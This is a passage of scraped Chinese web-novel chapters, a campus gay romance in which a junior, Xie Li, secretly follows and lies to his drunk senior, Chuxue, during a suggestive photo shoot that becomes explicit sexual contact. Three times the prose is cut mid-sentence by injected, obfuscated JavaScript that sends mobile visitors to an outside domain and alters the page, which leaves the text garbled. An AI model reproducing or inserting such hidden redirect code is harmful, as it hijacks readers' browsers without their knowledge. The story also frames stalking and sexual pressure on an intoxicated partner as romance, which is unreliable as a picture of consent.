这次初雪提早了五分钟，可游泳馆离临水书院还是太远了，到的时候队伍已经排起了长队，他大老远就看到谢黎站在队伍的一旁，却没有参与排队。 “阿黎！”初雪小跑过去，身上的单肩包跟随他的步伐一跳一跳，“你怎么在这里？不去排队吗？” 谢黎眼睛闪烁，“在等学长。” “嗯？等我做什么？”初雪努努嘴，不太明白。 “因为我们是一组啊。” 轻描淡写的语气掩盖了真实的目的。 如果他的学长又是最后一个才到，岂不是要和别人共用一个柜子？ 谢黎不允许这样的事发生，若是上次就分开，他倒没有这么强的执念。 果不其然，当他们俩排在一起，虽说上次有几人逃课，柜子也相应缺了好几个，但是王老师对他们俩印象很深刻，一个体型好游得快，一个面容自成记忆点，看到他们俩又排在一起，便只给了一个手串。 “哦，你就是上周逃课的啊，杜华南是吧，现在人都已经组好队了，你不来就算了，还不会游泳，现在谁给你组队？自己去找看谁收留你。” 初雪踩着王老师训人的声音进了更衣室。 “阿黎你选好房子了吗？”初雪将袜子脱下来塞进柜子的角落，怕弄脏谢黎的衣服，他还特地找了个塑料袋装好。 谢黎看着那双白色的袜子，脸上露出真切的笑容，“找好了，其实不用装着也行，学长的袜子不臭。” 学长的袜子没有味道，是不怎么出汗所以不臭吗？大汗淋漓的时候身上又是什么味道呢？口水会是甜的吗？眼泪是涩的吧，软软会吸吮的嘴巴呢？咸湿腥臊的吧。 好想尝尝。 谢黎咽了咽口水。 学弟这话说的就像是他闻过一样，初雪只是觉得他怪怪的，倒也没有多想，毕竟有的人脚臭能传十万八千里。 “初雪！”一股巨力猛地将初雪往后扯，好在谢黎反应快，揽住初雪的腰，才避免他后脑勺着地。 初雪紧皱眉转过身，不看他都知道是哪个阴魂不散的。 杜华南脸色铁青地瞪了眼谢黎，随后转向初雪说：“你跟我一队吧。” 初雪无意跟杜华南在人来人往的更衣室大吵大闹，他冷声：“我已经跟谢黎组队了，你找别人吧。” “你已经跟我僵了一个星期了，还不够吗？上次酒吧的事是我不对，我跟你道歉，你就别闹了。” 杜华南说完还嫌弃地看了眼初雪身后的“乡巴佬”，叹了口气软下声音妥协道，“你不是缺钱吗？我给你钱，你跟我一队。” 初雪是真的烦了，他不知道杜华南是有多深的臆想症，才会误认为他这疏远的态度，是在跟他“闹”？ 这实在是太可笑了。 他深吸两口气，将所有的话挑明了说，“杜华南，不管是你的钱，还是跟你在一个队，我都不喜欢。” “那我——” 杜华南话还没说完，初雪直接打断，“你我也不喜欢。” 他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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很难想象一个刚成年没多久的大学生会有这样的眼神。 杜华南脚下鬼使神差地往后蹭了小半步，短短的几秒钟，他的后背几乎被冷汗浸湿，冷气一吹，手都冻得发起了抖。 谢黎握紧初雪的手腕，拉着学长前往洗浴间，“我们不要管他。” “好哦。”初雪也不乐意跟杜华南讲话，见杜华南没再跟上来，赶紧收拾前往大部队集合。 有了上一次点名的经历，这一次班里的人全数到齐。 可偏偏王老师这次就不点名了，惹得一部分学生怨声载道，特别是有的学生本身游得不差，更懒得来学什么基础。 “这一节课我们来学蹬腿，先在岸上无水环境规范动作。”王老师边说边让李俊杰在旁示范，“双脚伸直并拢，收腿时膝盖和肩膀同宽……” 岸上摆了一排小板凳，小板凳上还有泡沫垫，初雪将身子趴上去，认真听王老师讲课。 谢黎却盯着初雪的模样走了神。 那棉花被紧紧包裹住，初雪只要随便挪挪身子，都会跟着抖一抖。 掌掴下去可能还会弹手，不知道学长会不会哭出来，但是学长不犯错的话，他也不会对他做这么过分的事。 初雪没有意识到身边人炙热的目光，他照着王老师教的一步步做，卷了边，还能隐约看到有些肉的腿根。 14. 第 14 章 两节课在泳池嘈杂的吵闹声中结束，王老师吹响口哨时，初雪被震得心下漏跳两拍。 下课就意味着稍后要去学弟选好的房子拍照了。 “学弟，我们五点到校门口集合吧。”下了游泳课现在也才四点半，原本两人的计划是下了课就一起过去，初雪却临时变了卦。 “嗯？为什么呀学长。” 初雪垂在身侧的手抠着裤缝，他的眼神飘忽，“我想先把泳衣放回宿舍，很湿，怕在包里怄臭了。” 撒谎。 谢黎眯了眯眼，他没有戳破学长这劣质的谎言，反而善解人意道：“好，学长，那五点见。” 初雪慌乱地点了点头，抓紧身上的单肩包往临水书院的方向离开。 谢黎等初雪拐个弯，抬脚跟了上去，跟着跟着，就见初雪拐进了润润发。 润润发是临大最大的入驻超市，位于临大中心，无论住在哪间宿舍，来到润润发的脚程都差不多。 谢黎怕被发现没再敢跟进去。 初雪全然不知身后跟了个尾巴，他一门心思打着自己的小算盘，坐上润润发的扶梯后，目标明确地往饮料区走去。 说来惭愧，他在酒吧打了一年的工，但根本不知道自己的酒量如何，上次被灌了一杯也没品出什么味儿来。 初雪看着面前琳琅满目的酒水，每一样他都能叫出名字，甚至知道度数如何，却又无从下手。 喝度数小的怕没有效果，喝度数高的怕喝完就躺尸，这是初雪第一次需要外物来壮胆，他怕等等拍照的时候，反而是自己这个“前辈”拖后腿。 不管了！ 初雪心一横，拿了瓶果立方，23度果酒。 酒精大概半小时到一个小时起效，现在距离两人见面还剩十五分钟，初雪还没下楼，就着急地将果酒开了出来，顿顿顿下肚，喝了足足有三分之二，他才停下来，把剩下三分之一揣进包里。 他计算地很好，等等坐车到达公寓，正好就差不多三十分钟，如果效果不好，他再把剩下的喝完。 - 两人抵达订好的房间时，初雪已然有些晕乎。 房门大开，里面的生活气息让初雪微微睁大了眼。 屋里整体是冷调的装修，虽说看起来很商务，但不管是放在沙发前那实木的茶几还是客厅顶上的吸顶灯，都不像是酒店亦或是民宿的风格，并且电视看起来并不像摆设。 或许在他们来之前，这里长久地住过人。 初雪这么想也就这么询问谢黎：“阿黎在哪里找的房子呀？应该不是专门用来做民宿的吧。” 谢黎眼睫微微颤动，回答：“嗯，房东才刚搬走，还没找到长租的人，所以被我捡了个漏。” 谢黎走进玄关，熟练地打开鞋柜，看着里面仅有一双的拖鞋，指尖顿了顿。 “怎么了？”初雪见谢黎愣在原地，关切地问了句。 “没事。”谢黎平静地将鞋柜关上。 两人走进屋内，标准的两室一厅一厨一卫一阳台，初雪鼻尖耸动，还好没有什么特别的气味，要是屋里有别人的味道，等等他跟谢黎一起拍照，就会非常不自在。 到了新的环境，初雪看完客厅迫不及待地又去参观其他的房间，谢黎则在客厅不知道捣鼓什么。 阳台很大，空气很清新，厨房的厨具又多又全，更加印证了这里长久住人的情况，只是碗筷都只有一只一双，就像是只有一个人在住似的，走到洗手间，初雪肯定了此前只有房东一人在住，且跟谢黎说的别无二致，房东并没有短租的经验。 洗手间只有一支牙刷和一个漱口杯。 连一次性的都没有，不过也没什么关系，他和谢黎只是拍个照就走，没有过夜的打算。 看完附属空间，初雪往旁边一间卧室走去，他手掌握紧门把手，习惯性地往左一扭。 “咔哒——”一声空响，锁舌被死死卡住，初雪正想找谢黎帮忙，一转身，只见谢黎就站在他的身后。 初雪被吓得一哆嗦，后脑勺一仰就要往门上重重地撞，幸好谢黎反应快，用手掌护住了初雪的脑袋。 等心跳渐渐平息，初雪不由得嗔道：“你吓到我了。” 谢黎没有回应初雪这句似撒娇的抱怨，他忽然用指尖掐住了初雪的脸颊，那粉嫩还带了点透亮的嘴微微嘟起。 “你喝酒了？” “没有。”初雪矢口否认。 学长撒谎时都不敢看着别人的眼睛，这嘴一张，那果酒的味道都溢出来了，还在嘴硬。 谢黎又捏了捏初雪的脸，“没有？张开嘴，让我闻闻。” 初雪脸上都泛起了酒红，听完谢黎的话，马上紧抿着嘴，坚决不张。 “行吧。”谢黎放开了初雪，藏在角落的手指相互摩挲，面上还是正人君子的模样，“学长我们拍照吧，设备我也准备好了。” 设备？什么设备？ 回到客厅，一副三脚架搭配着相机的专业设备静静地伫立在客厅中心。 初雪震惊道：“这……阿黎你从哪里弄到的？” 专业的相机很贵，以谢黎现在的经济条件，不可能专门去买一台。 “找我舍友借的，他经常去漫展当场拍。”谢黎很顺溜地将早已准备好的腹稿吐出。 “那我们得找机会好好感谢他。” 有了相机，就不用再担心画质过糊，初雪没有想到谢黎为了他们拍照这件事，又是找便宜的房子，又是找舍友借相机。 接下来进入正式拍照的环节，他绝对不能拖后腿，不能辜负谢黎的付出才行。 “你…等等我。”初雪让谢黎在客厅等他，后将沙发上的单肩包拎起来，一头栽进浴室中，将早已准备好的白衬衫取出。 看着还剩三分之一的果立方，初雪将盖一拧，干净利落一口闷完。 长裤由于重力掉落在地，白花花的大腿暴露在空气中，初雪将衬衫套上，颈上两颗扣子解开，领口松松垮垮，锁骨暴露在空气中，渐渐透起了粉。 初雪就这样只穿了件衬衫和平角裤回到了客厅。 谢黎一扭头，就见初雪扯着衬衫下摆，朝他挪了过来。 “我准备好了，阿黎。” 准备好什么？为什么一副开袋即食的模样？ 谢黎深吸了口气，将要起的邪火压下去，装作正常地跟初雪交涉，“好的，学长，我该做什么呢？” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16203417|181254||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 初雪将糖果甜甜的一张同人图调出来，递到谢黎的面前。 “我们今天拍这样的吧。” 谢黎看到这图哼出一声轻笑，沉沉道：“学长早说，我还可以多准备一身西装。” 谢黎的声音特别有磁性，换做平常还好，现在这特殊的环境，初雪不由得红了脸，还好本来喝了酒上头，脸红也被盖得严严实实。 初雪照着雪饼甜甜的图，跨坐在谢黎的一只大腿上，身下的腿在他触及的那一瞬间，立刻就紧绷起来。 初雪以为是谢黎还没有适应，他现在是“前辈”，得带着谢黎逐渐习惯。 俯身渐渐靠近，初雪用手臂勾住谢黎的脖子，问道：“阿黎喜欢我的味道吗？” “什么意思？” “嗯？字面意思啊。” 气味是对人和人是否能亲密交往的最主要因素，如果谢黎讨厌他的味道，那两人这么近距离接触，对他来说也是一种折磨。 同理，初雪如果一开始就讨厌谢黎的气味，就根本不会考虑让他来假扮自己的攻方。 “喜欢。”谢黎的声音沙哑，“学长，有件事我们得提前说明一下。” “什么？”初雪歪了歪头，他的脸越来越红了，说起话来，酒香和茶香一股脑涌进谢黎的鼻腔，空气里的因子被初雪染得黏黏糊糊。 “我过了下个月才二十。”谢黎神色认真，“我的自制力也不是很好，我怕冒犯你。” “噗——”初雪笑了起来，他的眼睛闪烁着微光，“没关系，我们都已经决定要拍暧昧照了，我还怕你厌恶我，这样拍出来的效果也不好。” “厌恶？谁会厌恶你。” 为什么学长第一反应是他会产生厌恶的情绪？ “没有，只是打个比方嘛。”初雪摇了摇头，继续今晚的正题。 “你可以把手放在我的腰上。” 谢黎在他攀上来时，手就一直僵在身侧，初雪只好抓住他的手，引导他放在自己的腰上。 “伸进去摸摸也可以。” 话音刚落，一股莫名的烫意从初雪的腿上传来，初雪低头一看。 啊…十九岁的自制力确实很差。 初雪强迫自己挪开目光，下一刻，谢黎伸进他的衣摆，掐上柔嫩纤细的腰。 “嗯，对，是这样没错。” 他们尝试着拍了一张，同人图里正是雪饼坐在一个西装男的腿上，除掉一些小细节，比如西装上的水渍，应该跟他们拍的大差不差。 可当拿起相机一看，初雪当场石化。 “好像有点不太自然。”谢黎一语中的，他拿着手机上的同人图对比，一比一找出问题，“学长你的腰应该塌下去才对，我们俩都太僵硬了，像假人。” “那怎么办？”初雪欲哭无泪。 他果然是拖后腿了吗？ “我想我们可以试一下真实的亲密接触。”学弟扬起嘴角，说出来的话就像是蛇的诱惑，引诱初雪吃下他精心准备的苹果。 “我们也不是演员，光靠演肯定是做不到的，来点真实的亲密接触，就肯定会有真实的反应，说不定就能拍出好照片，学长你觉得呢？只要别太过分就行了吧。” 15.第 15 章 “可是如果我们……”初雪咬了咬下嘴唇，纠结道，“没有把握好分寸，太过分了怎么办？” 初雪没有感受过谢黎口中的“亲密接触”，刚刚主动让谢黎摸他的月要已经是他努力后的结果，他现在又喝了酒，也不知道届时他会有什么样的反应。 谢黎的指尖无意识地敲打着相机，两人僵持了约莫半分钟，他提议道：“设计一个安全词就行了。” “安全词？是什么意思？”酒劲上头，初雪脑袋里的齿轮已经不运转了。 谢黎将相机装回三脚架，上前牵着初雪的手，他坐回沙发上，揽着初雪的月要让他跨上来，沉着嗓音解释道：“安全词就是，当我做了什么让学长不舒服了，学长喊出来后，我就会乖乖停手。” 就像是系在狗脖子上隐形的项圈，一方面可以限制狗的行动，让其别太放肆，另一方面嘛，狗可以一步步试探牵绳方的底线，看似被动实则能够把握整场节奏。 谢黎将眼里的情绪尽数隐藏在镜片之后，以现在他跟学长的距离，他并不介意做学长手里的狗。 只希望学长疼疼他，降降底线。 初雪明白了安全词是什么意思，他托着下巴想了想，说：“那我的安全词就是‘谢黎’吧，现在我都很少叫阿黎全名了，阿黎呢？阿黎的安全词是什么？” “我？咳！”谢黎眉尾微跳，“我就不用了。” 初雪顿时蹙起了眉，一边软嫩的脸蛋气得微微鼓起，他抓住谢黎的领口往前用力一扯，两人鼻尖相抵，“你看不起我啊？” 谢黎轻笑出声，就在这短短方寸之间，茶香酒香和橘子气味完美地融合在了一起。 不知道是不是酒精起了作用，他的学长大胆起来了。 谢黎将手伸进初雪的衣摆，有频率地揉弄那勾人的腰身，用了点语言技巧挑衅道：“我的安全词不急，学长还是先学会怎么塌月要吧。” “这有什么难的。” 初雪哼了声，将手勾住身前人的脖子，试着将月要肢凹下去，可换了好几个角度他都觉得这动作难受得很。 谢黎敛着眸子，欣赏够了学长独自努力的模样，才大发慈悲地给予帮助。 他右手捏住初雪的下巴，左手继续游离在衣摆里，低声哄道：“不着急，我们慢慢来。” 说罢，谢黎轻轻吻上漂亮学长那小巧的耳垂。 炙热的呼吸灌入耳道的那一瞬间，初雪立刻缩起了脖子，想要远离，同时，勾着学弟肩膀的手臂也圈得更紧。 谢黎哪儿给学长逃跑的机会，掐着下巴的手使了点力，强势地固定住初雪的头部，谢黎紧贴着他的左耳，说道：“学长，有任何不舒服，要记得说安全词，嗯？” 随着谢黎最后那上挑的尾音落下，一股电流猛地从初雪的脊背直直地往天灵盖上窜，他的四肢酥酥麻麻，这种从未体会过的感觉，让他呆呆地愣在了原地，全然没听清谢黎刚刚在说什么，只是胡乱地点点头。 谁承想，就是他这一点头，谢黎直接就张口将那耳垂含进了口中，同时掐着月要的手转变目标开始揉弄后方的月要窝。 “唔——！”初雪的身体突兀地一抖，同时那始终不得要领的月要终于是塌了下去。 像是在躲避月要窝上肆意揉弄的手，不得已而为之。 这身段看得谢黎双眼发红，他眼中暗光一闪而过，轻咬一口心上人的耳垂，果不其然又得到一瞬战栗。 “学长好棒，这么快就学会了。” 初雪眼里蒙上了雾，到底是第一次，一点经验都没有，轻而易举就被人捏住了破绽。 “你、你别叫我学长……”初雪嗓音带了点黏黏腻腻的哭腔。 这实在是太羞耻。 他毕竟还比谢黎大了两岁，现在却这么丢脸地在学弟的手掌下发抖。 “那我叫什么？哥哥？”运动裤根本包不住火，谢黎面上却还是一副云淡风轻的模样，“叫哥哥喜欢吗？” 叫哥就叫哥，换成哥哥这样的叠词，简直比学长还要让人面红耳赤。 初雪正欲拒绝，谢黎却在此刻舔上了他的耳廓，滋滋作响的口水音响彻在他的耳边。 “等等…哈——” 初雪几乎招架不住，算是彻底被舔得软成一滩水。 谢黎轻啄初雪的脸颊，托着他的身子，眼珠婉转半周，状似无意道：“哥哥还记得同人图上的画面吗？” “什么？”初雪迷迷糊糊，彻底醉了。 “还有一点小细节，我们还没有呈现。” “唔。”初雪眨眨眼，想了半天才想起那一道水渍，“啊对，那个水。” “哥哥可以磨一磨。”谢黎又叼起初雪的耳朵，引诱笨蛋学长，“到时候可以做成live图，说不定效果更好呢？” “嗯……好。”初雪脑袋都成浆糊了，自然是谢黎说什么，他就照做什么，他双手撑着谢黎的腹肌，紧紧贴在他的大腿上。 “往前…往后，对，就是这样，将动作连贯起来。” “哥哥喘得好好听。” “好性感啊宝宝。” “好乖，好聪明，宝宝学什么都好快。” 渐渐地昵称换了一个又一个，初雪的cpu现在只能处理简单的信息，比如谢黎一直在夸奖他，他便磨得越来越卖力。 谢黎一边夸奖动作生涩的学长，一边将舌头伸进学长的耳道里，模拟着活丨丨塞运动，有时偶尔还会轻微地往耳朵里吸气，弄得狠了，初雪还会发出哼哼唧唧的声音。 每一声对谢黎来说，都像是一剂催化剂。 忍到极致，谢黎的手臂猛地发力，将初雪一把抱了起来，压在沙发上，牙齿发痒地开始啃咬初雪的脖子。 边啃边还抬起眸子紧盯着身下人的反应，眸子里是满满的侵略性。 初雪被谢黎突如其来的举动吓得惊叫一声，双腿牢牢夹住身上人的月要，面对谢黎的啃咬，他只是微张着嘴，轻喘着气，有时还能隐约看见藏在深处那殷红的小舌头。 谢黎上次只是在外面蹭了蹭，就足以让他回味许久。 初雪背靠着沙发，头发散乱，眼神迷离，那乖巧仰着头的模样，好像对他做什么都可以。 可临了临了，谢黎下装都半解了，还是不敢有所动作。 到底还有一丝理智在线，他现在是谢黎，是学长的好学弟，不是可以随心所欲的覆面。 柔软的沙发一躺下，没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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将一切收拾干净，谢黎从卧室里拿出小毯子盖在学长的身上，打开冰箱，冷光照在他的脸上，他娴熟地从冰箱里拿出几颗鸡蛋、西红柿还有柠檬跟蜂蜜。 学长爱吃咸口，西红柿炒鸡蛋他就做成咸的。 将鸡蛋快速打散，慢慢倒进油锅，他用了另一种较费油的做法，将鸡蛋炸成一丝丝一缕缕的，特别容易挂满西红柿的汤汁。 现在做饭太费劲，谢黎就随便下了个面条，面条过了热水后沥干水分再将西红柿炒鸡蛋盖上，勉勉强强能吃上一顿。 “学长。” “哥哥。” “宝宝。” “起床吃个饭再睡。” 谢黎托着下巴靠在沙发边，伸手戳戳初雪的脸蛋，挨个称呼叫上一遍。 回想起刚才从厨房里出来时看见的场景，谢黎恍惚一瞬。 躺在沙发熟睡的初雪就像是在外忙碌，回来后不小心睡着妻子，这间房子多了一丝微妙的“家”味儿，他的学长是另一个主人。 16.第 16 章 空旷的客厅传来不满的哼唧声，学长终于肯睁开睡眼，他懵懵地推开谢黎跟他靠的过分近的脸，“再睡一会儿。” “等等面会坨，坨了就不好吃了，我们吃完再睡，好不好？”从游泳课下课后，初雪一点东西都没吃，还吹了一瓶酒，不管怎么说谢黎都要把人弄起来吃口。 见初雪还是不肯起床，谢黎把他强行抱进怀中，一屁股坐在懒人沙发上，放在茶几上的番茄鸡蛋面散发着浓郁的香气。 学长闻到香味，肚子立马咕噜咕噜叫了起来，终究是饿意战胜了困意，他睡眼惺忪地抓起筷子开始进食。 谢黎眼波潋滟，看着初雪安分地窝在自己怀中吃饭的模样，这种错位的温馨感让他贪恋，学长还是学长，没有一分改变，明天一睁眼，他们又会回到最初的位置。 他还是那个老实的学弟，但这样就很好。 谢黎俯下身，紧紧地抱着还在醉意中的初雪。 初雪刚把鸡蛋塞进嘴里，感受到背部传来压力，他歪了歪头，嚼嚼嚼。 像只小仓鼠一样。 谢黎瞥见初雪的碗，番茄被推到一边堆成小山，他笑道：“不爱吃番茄？” 倒是他疏忽了，原以为学长只是不爱吃甜口的番茄炒蛋，没想到是只喜欢吃蛋。 而番茄炒蛋在食堂里是最便宜的。 谢黎敛下眼眸，轻轻吻了吻初雪的鬓角。 初雪用筷子戳了戳番茄，心虚道：“我会吃掉的。” “没关系，不喜欢吃我们就不吃。”谢黎揉了揉初雪的脑袋，柔软的发丝从他的指缝里溜出，学长脾性软头发也这么软。 初雪仰起头，看向谢黎，“可以吗？” “当然。” 这边话音刚落，初雪立马用筷子让所有的番茄拥抱在一起，然后去宠幸鸡蛋。 谢黎将一旁的蜂蜜柠檬水端过来，“学长，来解解酒，免得明天起来头疼。” 初雪把嘴里的食物咽下，刚要接过玻璃杯，又突然收回了手。 不对。 初雪眯起眼睛，转过头义正言辞，“我没有喝酒。” 他不管，他就是没喝，怎么会有人害怕“教导”学弟就喝酒呢？ 谢黎真是没辙了，学长都醉成这样了，还记得争论喝没喝酒这件事。 “好，你没有喝。”谢黎没忍住亲了一口学长的脸蛋，鼻尖凹陷进柔软的肉里，香香的，“就是一杯小甜水，没有什么别的作用。” 就这样哄着哄着，初雪才肯喝下这杯酒。 有点无理取闹，但可爱死了。 谢黎爱惨了他这模样。 吃饱喝足，初雪往谢黎怀里一靠，又要睡下，可刚睡没两分钟，他的眼睛又倏地睁了开来。 解酒小甜水起了点作用，初雪意识不再混沌。 “现在多少点了？” “我看看。” 谢黎把手机拿出来，一打开就看到关十一给他发的消息，是临大百事通的新帖子，屏幕亮光照在他冷峻的脸上。 【通通！游泳馆吃瓜，我嘞个俩男争一男。】 照片里，初雪被杜华南摁住肩膀，背对着镜头，初雪身后还贴着谢黎，配上这种标题，大学生的生活很闲，很快吃瓜群众聚集而来。 谢黎快速下滑，一目十行。 【卧槽，男同！】 【楼上的跟没见过世面似的，好丢人。】 【是初雪啊，那不意外了。】 【大一新生礼貌求问，初雪是谁？中间那个吗？长得好漂亮。】 …… 【初雪又遇到神经病了？】 【怎么说怎么说？求解码！】 【上学期有个傻逼，站在教学楼天台，说初雪不答应他的追求就跳楼的，还差点闹上社会新闻。】 【话别说一半啊，之后呢之后呢？】 【之后就是初雪鸟都没鸟他，直接报了警，警车来了那傻逼就下来了，之后学校出面解决，给勒令休学了。】 【噫！怪不得初雪不开微信好友功能呢，吓都吓死了。】 【他之前没关的时候，都不敢想他的好友申请有多精彩。】 【讲个鬼故事，之前没关的时候，他的微信号都能卖上两百块。】 谢黎紧锁着眉，没想到他就迟来一年，发生了这么多事，怪不得学长对视线这么敏感，说不定是大一……不，可能更早，就已经感受过他人恶意的凝视。 “阿黎——”初雪看他的脸色不太好，担忧问，“多少点了呀，是不是很晚了？” 谢黎回过神来，“快九点半。” 听到这个时间，初雪立刻弹坐起来，强撑着爬起来，“那得快点走了，小时房多一分钟就要多花一个小时的钱呢。” 他们来的时候差不多五点半，现在九点半刚好三个小时，在外面订房子拍照本来成本就高，他和谢黎还没有什么钱，这种紧要关头，自然是越省越好。 初雪抓紧时间到洗手间将衣服换回来，再把自己的“作案工具”果立方藏进包里。 谢黎看着初雪因为这一个小时的钱慌慌忙忙从睡意中惊醒，胸口像是压着块巨石，用力喘了两口气心脏还是会有丝丝阵痛。 - 初雪再次醒过来时，是在谢黎的背上，谢黎步伐稳健地走在大路上。 这是哪儿啊？ 初雪抬起头懵懵地环顾四周，这才发现他们现在正走在天桥上，头顶星光闪烁，万家灯火通明，层层叠叠，偶尔飞跃的汽车在他们的脚底下呼啸而过，初雪的记忆停留在公寓的楼底，当时谢黎在约网约车，他正靠着谢黎的手臂打盹。 好像……之后谢黎说让他趴在背上睡来着……？他记不清了，实在是太困了。 “阿黎。”初雪带了点鼻音，黏黏腻腻，“这里是哪儿啊？” “学长醒了？”谢黎脚下步伐一顿，回道，“在回学校的路上。” “啊？不是打车吗？”初雪震惊，他够着谢黎的脖子，追问，“我睡了多久？你背我走多久了？怎么不叫我？你先放我下来。” 背着他走这么长一段路，学弟这不得累坏了。 谢黎一句话插不进嘴，初雪就一个问题接着一个问题砸了过来，听他这么慌张的关心，谢黎眼底浮现笑意。 “打车回去的话，学长回宿舍也睡不了吧？”谢黎还颠了颠身上的初雪，步伐轻快继续往前走，“放心，我不累，学长对我来说轻得很。” 在公寓底下打车回学校，到达临水书院差不多十点钟，现代大学生很少十点就熄灯睡觉，在那样吵闹的环境中，初雪估计也睡不着。 当然，这些都是借口，谢黎将真实目的掩藏在心底。 “可是——” 见初雪支支吾吾的，还想反驳，谢黎直接掏出早已准备好的plan B。 “其实订的房子离学校也不远，但是打车的话就要绕开这座天桥走远路，这车费也挺贵的。” 他的本意是想让初雪心疼钱，从而接受他的说辞他的好意，算盘打得那叫一个噼里啪啦响，可结果还是出现了一点偏差。 初雪听完谢黎说的，一下子就安静了下来，他圈紧身下人的脖子，语气带着安抚意味，“对不起，阿黎，我应该多考虑考虑你。” 啊？ 谢黎蒙了，考虑他什么？学长在道什么歉？ “如果这次我们拍的照片能挣钱的话，我们就五五分成吧！” 本来他想四六分的，但是一想到他带着谢黎又是订房又是叫车，成本高昂，而他的学弟现在更是连车都不敢随便打，不免产生怜爱之情。 他以为自己够穷了，可没想到学弟比他还要捉襟见肘。 谢黎脑子转地飞快，终于想起了自己的人设，他苦笑，“不用五五分的，三七就好。” 也不敢压得太过分，怕学长怀疑他。 初雪却没再回应，偌大的天桥只有他们两个人，一没人说话，世界安静得就只剩两人的呼吸声。 他望着悬挂在天空的圆月，脑海中闪过一段画面，笑着与谢黎分享：“上次被人背在身上，还是十多年前的时候。” “那过了好久了，是妈妈背你吗？”谢黎眼里闪过惊喜的光。 初雪很少讲有关于他的故事，就连在上次酒吧，谢黎把家里几口人，彼此什么关系都说光了，初雪也只是简单提了一嘴，而是是为了安慰他。 现在初雪愿意主动提出来，说明他们的关系，有了质的提升。 “对。”初雪一边说一边回忆，嘴角扬起细微的弧度，“当时才四岁，妈妈要去市里买物资，就留我在屋里，我不乐意，就偷偷跟出去，她总是会发现我，吓唬我，说会被坏人带走。” 谢黎听得眉头一皱，他觉得初雪妈妈这并不是“吓”，而是实话实说，初雪长得这么白净漂亮，不敢想小初雪会有多可爱，这样偷偷跟着大人跑出去，确实很容易被拐走。 “但是每次从市里回来，我又会睡着，妈妈就总是背着我回到镇上。”想起这段经历，初雪不由得失笑，“这样想来，我小时候真不听话。” “学长为什么一定要跟出去呢？”谢黎问。 初雪思索片刻，叹道：“被你这么一问，我也说不上来诶，太久远了，可能就是爱玩吧。” “阿黎你呢？” 初雪问完这句话立马就后悔了，谢黎三岁就爹不爱娘不在的，这问起来不是戳人伤疤吗。 可说出去的话收不回，初雪趴在谢黎的背上小心观察他的神色，眼见没有任何异常他才把心放回肚子里。 “我啊……”谢黎也开始回想，片刻后他皱了皱眉摇头，“记不太清了，我小的时候脑子不好，其实五岁以前很多事情都不太有印象。” “怎么会脑子不好呢？” 好奇怪的形容，有的小孩不记事，长大后容易忘也很正常，但谢黎的意思肯定不是“不记事”这么简单的原因。 “不知道，我爸和萧旭他妈说我是发了高烧，给脑子烧坏了，就都忘了。”谢黎解释道，“所以也没有被人背——” 谢黎话说一半徒然顿住，连同步伐也一并止住。 一辆飞驰而来的汽车从天桥下驶过，连同他的思绪一并带走。 脑海里突然闪过一张高曝光又模糊的图像，年幼的他伏在某个人背上安睡，谢黎甚至不确定这到底是回忆还是做的什么癔梦，可光是一帧转瞬即逝的画面，都让他的心脏涌动出暖流，游向四肢百骸。 这是谁？他的母亲？ 不可能。 那个疯女人可从来没有给予过他任何的爱，吝啬得要死。 到底是谁呢？是谁…… “阿黎？阿黎——！” 谢黎被喊声猛地从回忆里扯回现实。 “你怎么又走神了？”初雪怨声，“你有没有听我说话呀？” “抱歉哥哥。”谢黎抬脚继续往前走，“你刚刚说什么？” “我说……” 怎么突然又叫哥哥了，初雪难为情地将半张脸藏在臂弯里，声音闷闷的有些失真，“下次我来背你。” “哈哈好啊，但是我怕把哥哥压坏了。”谢黎哈哈大笑，脚下步伐加快了些许。 “瞧不起谁啊？”初雪生气地直起了腰，脸上红扑扑的，不知道是残存的酒气还是刚刚捂红了，“我背人的经验也很丰富的好吧！” 谢黎眼珠转了转，低垂眼眸语气低落，“哥哥原来背过这么多人啊？” “不、不是。”初雪莫名其妙地有点慌张，赶忙解释，“他们和你…不一样。” “哪儿不一样？” 谢黎噙着坏笑，心里冒着坏水，还想逗逗出现，可很快这个招数就被识破，之后再问什么学长 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16215550|181254||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都不愿意说了。 两人回到学校，初雪从谢黎背上下来，太久没有走路，一下地脚下还有些发软。 临大正门设立在北门，离临水近，初雪抓着谢黎的手腕，不由分说地就要拉他上宿舍喝杯水再走。 这是谢黎首次进入301，一进门，就受到了几道注目礼，杜华南更是直接从床帘里飞速钻了出来，原本还笑意盈盈的脸在看到谢黎的那一刻，瞬间阴沉下来。 谢黎自然也注意到了杜华南，在初雪看不到的角落，他冲着上铺那人挑了挑眉，似挑衅。 杜华南想发作，但碍于初雪在场，硬生生忍了下来。 